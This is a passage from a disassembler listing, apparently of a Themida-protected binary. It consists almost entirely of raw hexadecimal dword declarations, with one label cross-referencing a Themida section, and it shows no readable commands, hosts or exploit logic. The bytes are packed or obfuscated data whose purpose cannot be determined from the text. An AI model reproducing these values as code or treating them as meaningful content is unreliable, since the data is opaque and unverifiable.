95464A8Fh, 4A4805D3h dd 5F9417F3h, 0A2588FCCh, 0FFBEA11Eh, 0E368B3F7h, 0C430B3DAh dd 0BFF9A5C0h, 387E7BC7h, 0D934609h, 0BE6C7DFEh, 18D11CBh dd 97F6BA20h, 84E7AD2Ch, 0D374F73Ah, 0FC18B062h, 0A8A90EB3h dd 79FC18B0h, 6992D502h, 0ECD8825Bh, 9E5A5C9Eh, 4839A512h dd 5716098Fh, 4E8F1EA4h, 0F589D67Dh, 0EEFC18B0h, 0C8058C78h dd 673A041Ch, 46h, 773BA1E0h, 696E9056h, 0C07FD823h, 0E7FC18B9h dd 0BF129561h, 6C3A0413h, 8, 6D2BAAEDh, 3E0CDD1Eh, 3F22666Eh dd 0AA33797Ch, 10944083h, 0D8B4AF5h, 2F2B4FEh, 5E4440B4h dd 0B9A8EEEBh, 2CBD03F6h, 0EFAE707Eh, 115AA1EDh, 4E5489C8h dd 5FE3743Fh, 0FC811494h, 4A8AB516h, 25873F4Eh, 0AAF8E551h dd 1E9C5D2Ch, 894448Fh, 211553FDh, 0E6A25215h, 67CA1C5h dd 75D33A05h, 17000000h, 59FB6D6Eh, 0FE7FD862h, 17FC1836h dd 46583F58h, 145FAE1Bh, 0C14DD8E4h, 0F778C140h, 2EFC1812h dd 0F6CE8851h, 0DA4D5388h, 8952609Bh, 612FAC9Dh, 9E1CDB1Ah dd 25A4E50Fh, 1812D384h, 943502FCh, 8A57DAAAh, 0C13A04BCh dd 56h, 276D6EE5h, 35796120h, 394465D6h, 857244B6h, 59B3CA07h dd 286B17EFh, 5E9FEEB2h, 19A2F0EBh, 0E815A556h, 7B616DDAh dd 0A3E7EFAEh, 97307C7Ch, 1D682CA8h, 18B93E34h, 0D1A523FCh dd 0D48522A5h, 0DFC18B9h, 0BB07F336h, 54D2EB60h, 3A041379h dd 1D6h, 6A6EE800h, 923F8DFAh, 332A7725h, 5D03140Fh, 0AED10EFEh dd 61A0EEEFh, 8DA83175h, 10179542h, 5C074891h, 64C5FC18h dd 0FC185CF3h, 72C95522h, 7AE4C269h, 0F0BC3C8Ah, 487CE1EAh dd 28CE70D9h, 4A2101FAh, 8B47B033h, 0FA402D2Eh, 588FE4F9h dd 4F8C1F9Dh, 0AD2C6F12h, 765784E7h, 6228D190h, 40033E1Bh dd 0C631F9FAh, 74ECA5C0h, 96148B01h, 464AB0F7h, 0A591DB27h dd 0F3C38553h, 975E5287h, 4B3EA411h, 3D7028Eh, 0FA22B5A6h dd 0DA176CF9h, 0DF2E7467h, 9BDA219Eh, 0B029585Eh, 6158CCB7h dd 23394FFh, 0D3F9FA4Dh, 0F79E2F64h, 0BD09FD7Fh, 2A507E3Ch dd 3FE707F7h, 12354h, 0EFAE6E00h, 2F18A1EDh, 0BE1B0E22h dd 1FADF40h, 0A7A831B0h, 7EF9FA9Eh, 1562B801h, 0C8A4FF6h dd 7A36A386h, 6FEC3F7Dh, 9E1E5FF8h, 7837F9FAh, 8079F803h dd 0E953E33Ah, 49EE111Dh, 0F9FA9E08h, 44E962D9h, 0E288C786h dd 0FAFF627Bh, 0B56816BCh, 1A3FE652h, 4Fh, 5579182Ch, 0B91475D2h dd 2A4DFC18h, 8D4912B6h, 0B2B5E210h, 0A8A59633h, 0C267FC18h dd 0FC18A891h, 106FEB40h, 92C3ACB7h, 98FC18A8h, 83C2595Fh dd 4D31545Ah, 0E0C53B0Bh, 0CB568E66h, 42C3641Bh, 0F3FC18A8h dd 1643498Eh, 7E5988h, 186D0000h, 77D0577Bh, 1FAD2E7h dd 0BB3A413Eh, 0EF52783Eh, 0F059ACEAh, 0F9FAA344h, 0EB572F19h dd 0F6B9A8EEh, 7B2FB804h, 48FFD370h, 0E0011CEFh, 0E33A7107h dd 0E317760h, 0E5008E4Fh, 0EF3E7A7Ah, 8DA8316Eh, 0F1149842h dd 0F803894Eh, 0AC14E04Ah, 0D664501Ah, 0C241F257h, 0DB90F7D3h dd 242902h, 60C5B801h, 893809C9h, 7C8F15C6h, 64ED6EFFh dd 4F24EDACh, 0B5FA6F12h, 6A06EABEh, 580604A5h, 9D5D7B18h dd 8E4B8A11h, 378FD08h, 37F653D6h, 7502021Bh, 0A2F9C732h dd 0B804F629h, 4BDFE86Dh, 0B126A9FCh, 5D9AEFEBh, 3E257983h dd 9ECB490Ch, 1193040Fh, 0B58646A3h, 62036C7Dh, 8B6FA0BDh dd 5089F5C1h, 0DB109440h, 0F8D4A3Fh, 48275FCh, 675F19E1h dd 79E34EDBh, 0E4D8150h, 4745B2BDh, 0ABF1E65Bh, 0DF150h dd 0AE350000h, 0B9C98A2Fh, 2318FC18h, 6E541E9Ah, 96D92C68h dd 81C05B61h, 8D34575Bh, 0BA25404Eh, 0A9287341h, 0D41F6E34h dd 0C1009B21h, 0CF769519h, 0F2788307h, 815D5455h, 4C5h dd 4ED8300h, 5C242C87h, 0B4C68h, 241C8900h, 81E28952h dd 4C2h, 4EA8300h, 5C241487h, 51243489h, 54F6F68h, 0E1C1592Ah dd 3E1C107h, 0A5BFC181h, 5B51F0ABh, 2F196859h, 24890000h dd 24048324h, 57535E04h, 0AF2D55BFh, 247C314Eh, 468F5F04h dd 8768108h, 4EAF2D55h, 5724348Bh, 0C781E789h, 4, 4C781h dd 3C870000h, 1C8B5C24h, 0E6895624h, 4C681h, 0C6830000h dd 24348704h, 1969E95Ch, 502AFFF9h, 0BB776DEDh, 0E96619B8h dd 0FFC50305h, 3E58B7E0h, 0AE40BE78h, 111DAE13h, 3DAE2D05h dd 0BA41E14Fh, 20380413h, 9F11D476h, 0EAAD9856h, 35A2A314h dd 5DBFFD73h, 6E859512h, 0AF3EE665h, 0D397BC0Ch, 7725C858h dd 46BC2D69h, 7EAB0B17h, 9BAFD505h, 86158D4Dh, 797BBB06h dd 50038958h, 0FB4C7868h, 4B52F33Ch, 594E7C43h, 5B527F54h dd 0ADC99F04h, 9D9A2C0Fh, 0F4370A53h, 0F2859244h, 6853FC2Eh dd 7B04EB6Dh, 0E90C3E1Eh, 526h, 0F9E5A157h, 42484C88h dd 2BB7FBFFh, 0FD199F56h, 45414F8Ch, 8576472Eh, 2BAE933Fh dd 0D2087965h, 7861C0CEh, 59A89432h, 0F1DE7FF0h, 2FEF96F9h dd 0D823696Eh, 0B05E6499h, 7B8208F1h, 397D7938h, 115069E2h dd 0D85BA2E8h, 0CD585E99h, 0C4303F88h, 2D2E8B0Ah, 0E4FC18B9h dd 0B9BDBE8Fh, 1F54FC18h, 0E1185BA2h, 0D10948D3h, 0E85EBECDh dd 0E4A6A41Ch, 7735A210h, 0D8E4166Bh, 18D4F32h, 0D62EBBFAh dd 24ADA156h, 0DB02604Eh, 0B0ED772Ah, 0E3B12817h, 40343E98h dd 858408F2h, 749715C2h, 4120E6C7h, 0AE8B1298h, 0FC18C390h dd 20D99889h, 2D19419Ah, 48D27FAh, 6B843Ah, 42050000h dd 0F6B41593h, 0D823696Eh, 18B9C07Fh, 9561E7FCh, 6234A6E9h dd 9BD02B79h, 34E99D2Eh, 993A0413h, 43A2100h, 1840B2A3h dd 31463FCh, 3394A6E3h, 6CEh, 0D1084B00h, 6E0CFAC3h, 98DB2266h dd 42CD585Ch, 0B9F566C3h, 572CFC18h, 8E0CCB76h, 8400F47Fh dd 0B5FBFE61h, 0AA9ADC56h, 9E96D056h, 0FAE0A450h, 4E545287h dd 276D6E80h, 0DB1A5DC4h, 0D6074EDDh, 74A93C8h, 2B0CBCFh dd 7D7ECCB8h, 81FEBC3Dh, 0F5B32405h, 2DACEF96h, 0DF1B4667h dd 99C22D9h, 0D19097CCh, 3D586125h, 2E615593h, 3A041203h dd 0CECC0B4Ah, 0FAC634BFh, 7AF73C8Dh, 0CB000000h, 0C4276D6Eh dd 0CA515D9Dh, 0C8360E48h, 0E0018D13h, 2B7238A1h, 4069D37Eh dd 0BCE9E686h, 0E9B7242Bh, 0E6A45392h, 0BFB7D87h, 44E5984h dd 67F63Ah, 30730000h, 4E2FBC9h, 0C98A2FAEh, 18FC18B9h dd 26D79A23h, 31A6E998h, 88CB526Bh, 0DD3F4E52h, 0ACEAEDACh dd 0B95B1CBDh, 0BD8AFC18h, 2452222Ch, 0D02B7765h, 0DE1F429Bh dd 0BF63080Ch, 0A7B0B02Fh, 35818862h, 616DDA52h, 22666E7Bh dd 0B9C07EDBh, 6FD9FC18h, 13BD1097h, 87103A04h, 2B39D56Ah dd 9A07A092h, 1, 266A6EACh, 5D5B9CC7h, 0FEA1E0CEh, 2C16B7FDh dd 0A2EEEA58h, 3A2E3324h, 32238407h, 0E3FC18B9h, 6BCC3394h dd 1FACDDBh, 0A72E7DCAh, 64F57432h, 0F3C0B827h, 5B4F9889h dd 50ABF1E6h, 0FA1E78F7h, 4D392FF9h, 14B2F8E1h, 0E9ECA455h dd 0A61358A3h, 0DDDB1C47h, 9F003DAAh, 9B98A01Bh, 3FB83B42h dd 3AA32279h, 8FC91174h, 4C2D41B7h, 31EB6CCDh, 4D3AF9FAh dd 0B402F27Ch, 3874F43h, 980673F8h, 1041E669h, 0C1F9FA31h dd 0F8D5516Ah, 573FE69Bh, 120h, 577B186Bh, 0DF3B77D0h dd 64901FAh, 9014C0CEh, 2F04825Bh, 0FA6495DCh, 0F49FCD6h dd 2BB7EC48h, 801BA156h, 6F129841h, 620A4BECh, 6CDBF9FAh dd 3882305Bh, 0B3F9FE4Ch, 0EEB46917h, 56193FE6h, 43C0199Fh dd 4Eh, 55791867h, 0ADD045D2h, 181F1F5Bh, 9EC140CFh, 2D76575Dh dd 0FC186DFCh, 0C8A4F0Eh, 7DDA6FBBh, 0FC186DFCh, 9AE15E15h dd 9F1DD89Bh, 95FECF0Ch, 0FC186DA4h, 32B282C4h, 0AF083F2Fh dd 0FC186D7Eh, 0AF32D897h, 90h, 0E1AD2D6Ch, 7B18E2D8h dd 0B93B3C9Dh, 9DEAFC18h, 7D7E2120h, 0F667D437h, 100A0AFDh dd 53DEEFDFh, 0FA8064F6h, 0A5C0BF01h, 0D3FFBD3Ah, 0D823696Eh dd 0FAD1C57Fh, 0D8AC9AF9h, 0B5256D6Ah, 2516BCE9h, 92151438h dd 0D585B613h, 0ED5CF9FAh, 1D5EADE9h, 51BE07A0h dd 0B807E04Ch, 6DAFA009h, 966F7D3h, 0D23CADDCh, 0D2D94968h dd 0A546A5B6h, 4F7DE021h, 6B6CD77Eh, 76F0DE2Dh, 0F5D9467Eh dd 4688D572h, 0AA8109C9h, 1BDA9D2Ch, 0C05B5F97h, 0B98D5E8Bh dd 0C98A2FAEh, 18FC18B9h, 0BCA19A23h, 0D3309988h, 21020220h dd 0EA31777Eh, 75C25861h, 6C2AAF16h, 0D0D60366h, 0C8892E51h dd 19F9F1DEh, 95F29922h, 194BFFh, 0A784C0Eh, 0BEC3CFCDh dd 70DF2529h, 0D8EB66D7h, 57C0BFF3h, 0EEFF2424h, 0D5307663h dd 3A2D6B6Ah, 0B65D1EBBh, 0B5F4F3D8h, 0A82D7846h, 0E7C36A73h dd 0A0CA2DBAh, 83CFB4B5h, 0F644303Ah, 1384BB01h, 7DDA1C87h dd 0F3D8BCFCh, 0A33D5E15h, 0FCE120DBh, 0C5E657B6h, 317760C1h dd 178BEAh, 89080000h, 0D8B12F20h, 3089E6F3h, 8A2FAE4Ah dd 0FC18B9C9h, 1E9A2318h, 2C686E54h, 5B6196D9h, 575B81C0h dd 404E8D34h, 7341BA25h, 6E34A928h, 9B21D41Fh, 9519C100h dd 8307CF76h, 0EC81F278h, 4, 57242489h, 4BFh, 247C0100h dd 9685F04h, 8900004Ah, 8957242Ch, 4C781E7h, 83000000h dd 3C8704EFh, 3C895C24h, 75B95124h, 0C1078524h, 0D1F707E1h dd 49ABF181h, 0C1815BD0h, 28FB143Fh, 25C18141h, 897630C6h dd 240C8BCDh, 4C481h, 5A680000h, 8900003Eh, 4832424h, 555F0424h dd 2C44BD55h, 6C3126ECh, 8F5D0424h, 77810847h, 0EC2C4408h dd 2434FF26h, 4C4815Fh, 0FF000000h, 815D2434h, 4C4h, 13BDE900h dd 8A1FFFF9h, 78CE0FB2h, 0C3B8F27Eh, 305E96Bh, 98E0FFC5h dd 0AF458831h, 0E95657AEh, 1257C0Fh, 0C1430955h, 0E344485Dh dd 0D78D33Fh, 0B823BB0Fh, 0E40FAF8h, 0C52F266Fh, 9C648766h dd 0DD230AF4h, 7B306C50h, 906274CBh, 0FC454C5Ah, 0EB2B7F15h dd 290A9104h, 528E902h, 17C10000h, 0C2327793h, 7169D8C6h dd 15C0A12Dh, 0C5360B97h, 0BDA4D3FFh, 29B5FBE0h, 0F713A158h dd 5E4448B2h, 22A8EEEBh, 0F566C322h, 2CF9F1D5h, 696EA561h dd 6499D823h, 8F1B05Eh, 3D484C88h, 0B93843B8h, 0A0237A40h dd 0D949AC34h, 0A3D28324h, 3403FC18h, 10202723h, 98C240DBh dd 0CF995EACh, 0BF45D6F6h, 1859FEC6h, 0C9FC1892h, 13C20572h dd 0CFB25895h, 99E810Dh, 0EA0AA239h, 6238811Bh, 4AD1DD1Fh dd 0BBC2D00Bh, 0A8F3C138h, 9CEFB329h, 0C43C0832h, 9B3CBFE2h dd 0FC187CDAh, 0A3AB3C0Bh, 297567D3h, 9D1BDCADh, 632FABEAh dd 630AD318h, 187C6806h, 0FFF771FCh, 0C1C73073h, 0D88F42F8h dd 7F3E3A04h, 66AB3C7Ah, 83h, 23696E58h, 352EAB3Ch, 5573BED5h dd 0F180E974h, 0F6FC1817h, 0D00D8470h, 7F3A04C1h, 1, 0E8666E43h dd 18B90E4Fh, 3968C7FCh, 7883F8BEh, 86B9FDF9h, 728915C7h dd 4F5586F9h, 696CD77Eh, 1CBD3C23h, 0FC18B95Bh, 0E2EE4587h dd 29355D86h, 63E28952h, 0B9D63579h, 69E997B6h, 5383C6B6h dd 0C4E3457h, 0DF42C038h, 0CA515F9Ch, 463E3881h, 12B8FCF8h dd 8ACB6CEFh, 5BFC18C2h, 6394DBECh, 6EB3B925h, 9DC4276Dh dd 2EA25759h, 18B9C889h, 0F52219FCh, 0E0AE2F96h, 972F7EABh dd 0E8156155h, 8C4D3CDAh, 35B4FF0Eh, 18B9A394h, 0A40572FCh dd 2A713DBDh, 18632FABh, 619523D9h, 529DE825h, 5586E5A3h dd 49AF8721h, 42C5B137h, 3A04119Fh, 552Ch, 6D6E1600h, 5D9DC427h dd 0CA58718Dh, 2865D406h, 1F1751DDh, 7E642AD3h, 0B9CCD20Bh dd 0A2F9BF36h, 0B9F0C402h, 3A045F74h, 226040D9h, 0EBDB28DFh dd 37ADD2h, 6E910000h, 9DC4276Dh, 0E0C8535Fh, 0BB208E66h dd 0D958E9F5h, 18B9FF70h, 0A35316FCh, 1A5784E7h, 666EE5C1h dd 0C07EDB22h, 0D9FC18B9h, 0BD10976Fh, 123A0413h, 1, 266A6E54h dd 34786023h, 90498893h, 0B1D4D800h, 52BCCF04h, 4A0BAC2Fh dd 9BFC18B9h, 63531BACh, 0A8DFE317h, 3E17613Fh, 1F952F8Ah dd 78C128F4h, 0BE28219Eh, 42FF4D9Eh, 94474364h, 3A4DB8Fh dd 1FA6263h, 8D13C689h, 0F4378Ch, 714AB3A5h, 561C8215h dd 22AFA009h, 966F9FAh, 0A8964300h, 30A92873h, 0DC1D6C6Ah dd 4FE24FDEh, 7DF9FA32h, 67EE3D79h, 0CD13472h, 0AA067A4Ah dd 0FBBAC8BCh, 62D374FCh, 0B3F9FA32h, 333E8FC4h, 0A7DAC0C6h dd 53AAF6E4h, 599EC11Ah, 2AAD2C53h, 0FA32CC8Dh, 1D2E05F9h dd 0F9FA325Ch, 7A46B4F5h, 6C7DAA23h, 53599EC1h, 4430BAC8h dd 1FBB01F6h, 682EABEAh, 9EF62B5Fh, 20553FE6h, 69000001h dd 0D0577B18h, 0FADF3B77h, 62E55201h, 0E8AC9FF5h, 0B5251994h dd 2BBCE9h, 749218C1h, 0A7C6C435h, 33B06BFCh, 407FAF57h dd 0B9FFF867h, 0EE51D062h, 0DB5AA1E7h, 0FA1BFD7Eh, 0E25F14F9h dd 59A591D9h, 6591D0A0h, 0C891DA21h, 0F9FA1B87h, 2EB4E15Eh dd 0E6B5AD60h, 5F023Fh, 18240000h, 45D25579h, 0FEFFAF7Eh dd 77E055B0h, 9F28CD97h, 0EF56B710h, 0B08FFC18h, 0EE4B0C55h dd 9841FC18h, 90488B12h, 11B6F90Ch, 0FC18EE20h, 0F274BAF1h dd 2129BE02h, 0B8B02955h, 67E87103h, 0BEFC1864h, 0A32C48C1h dd 65800ECDh, 4922BBF0h, 0C663E6C6h, 0FC183945h, 0C61B87FCh dd 67h, 577B18FCh, 0D2E777D0h, 9D3E01FAh, 2F59A6FEh, 54B7EC77h dd 20AEECEDh, 6F129841h, 85E0AC2Ch, 83EC7750h, 0F9FA00E9h dd 76C4B0B6h, 0DC9F3B81h, 4BEC93B7h, 7E09D68h, 34BFCEA5h dd 870BCFC3h, 63BAF764h, 5DE9DD87h, 49DCE01Ah, 5DC2BB0Ch dd 3477F669h, 86EFF8C4h, 9CE0EB7h, 7B49B2F5h, 0F412AB20h dd 185513BFh, 77D0577Bh, 20226A4h, 387B82F9h, 0AD3E8479h dd 6B7735A2h, 210441D6h, 5277B5B7h, 0C65728C8h, 0EAF36904h dd 0D1347267h, 30B89688h, 9F97D106h, 0FAE0A653h, 0C4DDD247h dd 0A7551872h, 189E5B06h, 7773F069h, 99F6AE24h, 0ED7A2540h dd 1679CCFEh, 4DF4D5D1h, 11F90C8Ah, 0E6135F57h, 92473AA0h dd 3AEF114h, 0D4000000h, 686E9DA7h, 6196D92Ch, 5B81C05Bh dd 4E8D3457h, 41BA2540h, 34A92873h, 21D41F6Eh, 19C1009Bh dd 7CF7695h, 83F27883h, 0C8904ECh, 81E18924h, 4C1h, 4E98300h dd 5C240C87h, 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h dd 8952242Ch, 4C281E2h, 81000000h, 4EAh, 24148700h, 240C895Ch dd 80680BBDh, 0B5B85013h, 0C1519D4Bh, 770507E8h, 3569B62Bh dd 5C5B670Dh, 9A35D8F7h, 2D28CF17h, 0EEC9E4C3h, 5458C501h dd 81240C8Bh, 4C4h, 5CDF6800h, 2C890000h, 8418F24h, 56240C8Bh dd 0C681E689h, 4, 4C681h, 34870000h, 34FF5C24h, 0C4835D24h dd 0E41E904h, 0BC4FFFF9h, 34B84703h, 305E971h, 7BE0FFC5h dd 877A8FFCh, 2346BE4Dh, 6C14A14Dh, 762BF3AEh, 0C911E98Bh dd 45691312h, 2B028FB1h, 1965F2C3h, 0A4429AC3h, 8227A140h dd 6C17E627h, 676E9713h, 463DDF9Ah, 3C212E48h, 0F91B0F77h dd 2E21B794h, 76AF8AAh, 0E6F9804h, 0BA5D6DE0h, 0E8749619h dd 0B771BECFh, 0B4559346h, 3E200A4Ah, 3E01F5EBh, 8D5FBB0Dh dd 0E972EA8Dh, 0FBBF0F05h, 0BE98D89h, 6A05E2h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 85C725C3h, 5E20761h, 736Ch, 5E9h, 39B03900h, 8F0F39B0h dd 6, 9419D8Bh, 85C705E2h, 5E21B55h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 63C35343h dd 0D2CB56F2h, 6D0468DAh, 187BE081h, 6E905F5h, 0B3000000h dd 0BA2114CEh, 0D1B5FF11h, 305E21Ch, 0E207A5B5h, 1595FF05h dd 6605E20Bh, 6AF28Bh, 0AB995FFh, 0C08B05E2h, 5B4D4CEBh dd 78E75754h, 70913EB1h, 25EB9426h, 0A7078D69h, 0F04C1943h dd 60D167DDh, 0FA64A200h, 68D6105Eh, 1F5A390h, 0E8DBEA55h dd 8726B50Eh, 19BF124h, 0C79DAB83h, 8DF4534Ah, 0D090DF64h dd 2C04F942h, 0CE78BEF9h, 486089D3h, 4EB24DEh, 29A102CAh dd 5D5E9h, 0EAAE2800h, 5D599DECh, 8408F0B1h, 0EEAC2B1Eh dd 565C81E0h, 4B543348h, 0A3860C92h, 1D6C6A38h, 7237D3DFh dd 0DB9B0785h, 0CA4C0DAAh, 9885F9F1h, 23696E52h, 5B1CBD3Ch dd 51FC18B9h, 67BE7ABh, 3EBFCED2h, 125DF8C1h, 4A3FDBE9h dd 0B5FC0F8Dh, 20B907F2h, 4FF2B821h, 80B9DBDAh, 9D2832Dh dd 0AEB62362h, 1EF7D99Ah, 0A82C13B4h, 0D39599ECh, 246297E3h dd 8711CBBEh, 0F4124F53h, 207B47B5h, 1859FE61h, 0C9FC186Bh dd 0C7CB0F72h, 0AB9637A4h, 6AFF6230h, 4F830680h, 84AF3867h dd 891C9A5Dh, 0FD089446h, 105E5610h, 1744A7E5h, 6E4600DAh dd 0C8D6DA00h, 0E33A8079h, 1833E886h, 7F77F1FCh, 49DD508h dd 8D7A3Ah, 6E4C0000h, 7FD82369h, 0FC18B9C0h, 129561E7h dd 3A0413BFh, 0E3A72F6Eh, 58A5398h, 8, 9519C382h, 6E4C576h dd 3F22666Eh, 0B95A1BBCh, 3790FC18h, 0FC18B906h, 8DFA60DFh dd 26AE113Ch, 99C67EBEh, 2E91011Ah, 0B7AAE7ADh, 9BA29334h dd 473FC18h, 1B8A3413h, 0BB0C7A8Bh, 0E0A65190h, 189E5A85h dd 0E4FDEE2h, 0D00B4AD1h, 0C038BBC2h, 9460EAFCh, 887C3E2Ch dd 0D0FEBA3Ah, 3FE6891h, 734810B2h, 0E1E66217h, 1C4974E2h dd 6E3D3BA7h, 5DC4276Dh, 0E05857CCh, 779F8BE0h, 0C31F38A3h dd 0F47B4CC9h, 2858400h, 1893B4A5h, 0B5166DFCh, 36B027AEh dd 0DC5BDB30h, 1B62DF3Fh, 5F9723D8h, 5E8BC05Bh, 4A5684CFh dd 2620BA33h, 2284EA4Eh, 0A9F7E452h, 0BC1D9C2Dh, 0FC180ABBh dd 3695C16Ah, 0E4A52BA6h, 0A6531EAFh, 8F3F983Ch, 66D37D30h dd 5F8B1C07h, 168E466h, 993F3099h, 99D6FC18h, 0BEFCFD2Ch dd 92DDEE6Fh, 0A1C35A66h, 15D84F27h, 0B83A0431h, 9385E42Fh dd 0B93DA364h, 0FA2780FDh, 0B1h, 0ED6D6ECCh, 18B90B4Ch dd 306DDAFCh, 226E6AD5h, 25115BDBh, 659424D9h, 0A9EFE85Fh dd 26AC1952h, 0F1149A43h, 1E01874Eh, 0A02A9F89h, 0C11A0C35h dd 981B1ABAh, 189E3E3Fh, 0EA6BCCFCh, 3BFC189Eh, 5069C64Ch dd 46EB1E16h, 853A0438h, 7Fh, 35268302h, 0ECFC1894h, 0AB848697h dd 4BD968AFh, 6D6EB472h, 1A5DC427h, 6C6FD2DEh, 20DA8526h dd 13C6099Ch, 92377E8Dh, 0FC18B9A1h, 17C43B70h, 66C07289h dd 0F1B7208Eh, 4A3A2C84h, 5B1CBD3Ch, 51FC18B9h, 519AE1A5h dd 0E26D7E35h, 35B4ABF9h, 18B9A394h, 140572FCh, 0E747D310h dd 5B4F98E1h, 22666E9Dh, 0B9C07EDBh, 0A8D9FC18h, 5FAEF4E9h dd 0B185CD1Eh, 413A37Eh, 1083Ah, 6E320000h, 0E2AE2C6Ah dd 86E5529Bh, 0E1169A5Fh, 0B987C811h, 0E15EFC18h, 0ECEE51B4h dd 0EF3E6BA0h, 16D5903h, 0F46A09D9h, 105893DDh, 173C3FDBh dd 0A8D0C33h, 83FAD89Dh, 7FC8DA1Fh, 0FC18A0FEh, 7A810FCCh dd 0CD1E55F1h, 0FAD4C264h, 8D4C3D01h, 30B3CA07h, 64C5C1C7h dd 0A5323573h, 1B815666h, 0ACAD0A4Fh, 65F9FA6Bh, 6B6ED10Eh dd 90F98425h, 0F9FA6BE1h, 86B480C6h, 728915C7h, 7861E0F9h dd 6B1E5FF8h, 7837F9FAh, 35A28703h, 2A6D1477h, 93DEEFADh dd 9AC52066h, 19A5575Bh, 0E31659ACh, 0B2344EDDh, 79387EC2h dd 558226E0h, 0A13AE56Dh, 7861CDB9h, 33EE9432h, 983FE61Fh dd 149h, 577B18A2h, 0DF3B77D0h, 0E55201FAh, 1C9A5F86h dd 4046B3F6h, 753DBA25h, 0C3C70F81h, 89C633B8h, 8E66C072h dd 60E577E0h, 981CD3A2h, 0EE6FB4B4h, 48FFA258h, 0FAF86EEFh dd 0FFC8A7F9h, 85018770h, 0E654429Fh, 47E93Fh, 18DD0000h dd 93D25579h, 401EFC66h, 0F8E10B05h, 3F97883h, 0DB1F42BFh dd 2E8BF6D7h, 0FC18FBFDh, 28E4C0Fh, 0F7166DB9h, 18FBA9AAh dd 1F5EC1FCh, 7B4D7DBh, 0CC8BCA6h, 993E2105h, 0FC18FB08h dd 85C4C2B9h, 0B9h, 8B7B18B9h, 6B48BCF3h, 1B170038h, 0E2C028C4h dd 0A0232693h, 43B8F8E1h, 70AD2E7Dh, 926C0E57h, 0C8A701FAh dd 0D673F2BDh, 0F9FAE065h, 7BE6C7BCh, 9009387Eh, 0FE91F7C2h dd 0F47F5189h, 0A8C20B0Ch, 63868425h, 0F21647E0h, 70CFF9FAh dd 0A9EFE857h, 6590D352h, 3697C427h, 0FAF157EDh, 6A5A0CF9h dd 52609DDCh, 363982CBh, 1CDFFBC1h, 0D7A15977h, 0FAF5C172h dd 0EE5B10F9h, 0D1298EB1h, 3007E060h, 5485C47Bh, 67EE7556h dd 9D13472h, 0D07D774Fh, 92EC4DFCh, 0E609C993h, 746533A7h dd 2966D736h, 0B52699D2h, 8E5F9CEFh, 0BD3C2318h, 0AD8B5B1Ch dd 0E2A851EDh, 0E8BE0F64h, 9D7B18E2h, 18B93B3Ch, 209DEAFCh dd 2C2E9821h, 0EA410202h, 0E1A75093h, 555384E5h, 0CD0C4F36h dd 69DE6C7h, 742D8847h, 41DED880h, 9472EF8Dh, 5685CC5Fh dd 6BD53D48h, 0A021259Bh, 0F5249637h, 7B4C6977h, 347703F3h dd 34A1C4C0h, 6D2BAC93h, 0D1D70061h, 0CECC0B4Ah, 1DE953BFh dd 646228D1h, 0B7D6D405h, 0CECh, 863CAD00h, 51999D75h dd 0A7F9CD1Eh, 2C686E9Dh, 5B6196D9h, 575B81C0h, 404E8D34h dd 7341BA25h, 6E34A928h, 9B21D41Fh, 9519C100h, 8307CF76h dd 0C968F278h, 89000012h, 0DD68240Ch, 89000032h, 0A1682404h dd 89000030h, 0BE56241Ch, 4C9D02D4h, 3A9E681h, 0E6D1210Bh dd 7646B850h, 0C63105FBh, 5EF08958h, 45C668h, 24248900h dd 4240483h, 4EC815Bh, 89000000h, 438F2404h, 241C8B08h dd 81E38953h, 4C3h, 4C38300h, 5C241C87h, 5124048Bh, 0C181E189h dd 4, 4C181h, 0C870000h, 0FCE95C24h, 6CFFF906h, 9FB8C72Dh dd 305E978h, 51E0FFC5h, 0FC7CF2B1h, 4798770h, 122B5A9h dd 0D602D7C4h, 0AF30EF4Ah, 0A70CDB54h, 0BB3AF941h, 3B6E8F75h dd 0BE00FBB1h, 4A1FF7B4h, 0F45ED0F9h, 0FA700123h, 4E6C1D6Fh dd 0E5CDCA9h, 3653F6Dh, 996195A0h, 7E58EFFBh, 2174CD1Ah dd 7C24D7D2h, 85680280h, 495805A8h, 0F95F66E1h, 7104E38Dh dd 6440D7F5h, 8366B288h, 5C7DF166h, 184DE8BEh, 8D2229D5h dd 0E97A518Dh, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 0BBFB2023h, 3529052Fh dd 0E860EE95h, 6 dword_56567C dd 0B069FEB3h, 9D895789h, 5E21775h, 7DBD895Fh, 6105E232h ; DATA XREF: Themida_:004F0F34o dd 0BE98D89h, 8C0F05E2h, 26h, 9E8h, 0DA318F00h, 6B301D95h dd 12E92403h, 14000000h, 0B5D41F8Eh, 90142F24h, 0B60BF8BFh dd 1FF5F955h, 85C75835h, 5E20761h, 71A0h, 92E7D381h, 85C71DEDh dd 5E21B55h, 0 dd 23E08160h, 0F5711BA6h, 8C0F61h, 0FF000000h, 0E21CD1B5h dd 5EF95105h, 0B1595FFh, 8B6605E2h, 0B8BE66D3h, 0FF006A8Fh dd 0E20AB995h, 0EBC08B05h, 0A30A5F4Ch, 468D6EF7h, 5A64023Ah dd 4527D09Bh, 786D5479h, 0B5A3D097h, 4EA17E19h, 74BFBC0Bh dd 5716BF8Eh, 5E7D54C9h, 7C7AFB31h, 0D9B1ADB4h, 0D9D0EDC5h dd 9962B7D6h, 0F5244BBFh, 47220A5Ch, 85110F9Bh, 0A0CEA78Ch dd 5612FD0Eh, 0AE82Bh, 8FA00000h, 0ED6E177Dh, 47E12E6Bh dd 58FE8B66h, 8CDB533h, 0C08105E2h, 64ADh, 68F0Fh, 0B5890000h dd 5E22D45h, 2137DBBh, 77F38137h, 6637020Ah, 30FFD68Bh dd 8B5975B6h, 0E2149595h, 6CE98105h, 0E935EBB4h, 6, 7460457Ch dd 0E9817109h, 22A7DD20h, 73EAE981h, 0BD8B330Ah, 5E22C6Dh dd 0D68B0889h, 379AE881h, 0B53309B4h, 5E22411h, 3796C081h dd 5E5609B4h, 0F01EB83h, 0FFFFB185h, 659D89FFh, 0EB05E21Ah dd 578E1704h, 575E969h, 0A3550000h, 4E86FBE7h, 0FDFD4C4Ah dd 0A15415B1h, 518AFF1Bh, 49284743h, 9D398774h, 7B672DACh dd 0C2C8D406h, 963C7A7Fh, 41F257AEh, 90F9F1C2h, 696E29EDh dd 0DAAB3C23h, 0ABE6A1BDh, 0B9218DFh, 293495C2h, 636F35A6h dd 48D3D91Eh, 0B3CAD009h, 0BCAC430h, 4AFD7E8Dh, 188E6CEDh dd 91CEA5FCh, 